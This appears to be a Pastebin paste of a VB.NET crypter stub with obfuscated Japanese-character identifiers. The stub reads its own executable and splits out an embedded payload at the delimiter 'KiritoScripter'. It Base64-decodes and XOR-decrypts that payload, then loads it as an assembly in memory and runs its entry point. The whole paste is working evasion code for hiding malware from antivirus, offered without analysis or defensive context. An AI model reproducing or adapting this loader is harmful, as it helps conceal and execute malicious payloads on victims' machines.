Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Module っ愛がすつ
- Const スす合た任 = "KiritoScripter"
- Dim がははたつ() As String = Split(IO.File.ReadAllText(Reflection.Assembly.GetExecutingAssembly.Location), スす合た任)
- Dim 愛チすすは As Byte()
- Public xorkeyy As String = がははたつ(2)
- Sub Main()
- 愛チすすは = Xor_Decrypt(Convert.FromBase64String((がははたつ(1))))
- Dim 私たチジ愛 As Object = Reflection.Assembly.Load(愛チすすは).EntryPoint.Invoke(Nothing, Nothing)
- End Sub
- Public Function Xor_Decrypt(ByVal でべ愛の私 As Byte()) As Byte()
- Dim がすつたた As Byte() = System.Text.Encoding.ASCII.GetBytes(xorkeyy)
- Dim ちははスす As Integer = でべ愛の私(でべ愛の私.Length - 1) Xor 112
- Dim がたジスは(でべ愛の私.Length) As Byte
- Dim はべちちが As Integer
- For っ愛がすつ0 As Integer = 0 To でべ愛の私.Length - 1
- がたジスは(っ愛がすつ0) = (でべ愛の私(っ愛がすつ0) Xor ちははスす) Xor がすつたた(はべちちが)
- If はべちちが = xorkeyy.Length - 1 Then はべちちが = 0 Else はべちちが = はべちちが + 1
- Next
- ReDim Preserve がたジスは(でべ愛の私.Length - 2)
- Return がたジスは
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement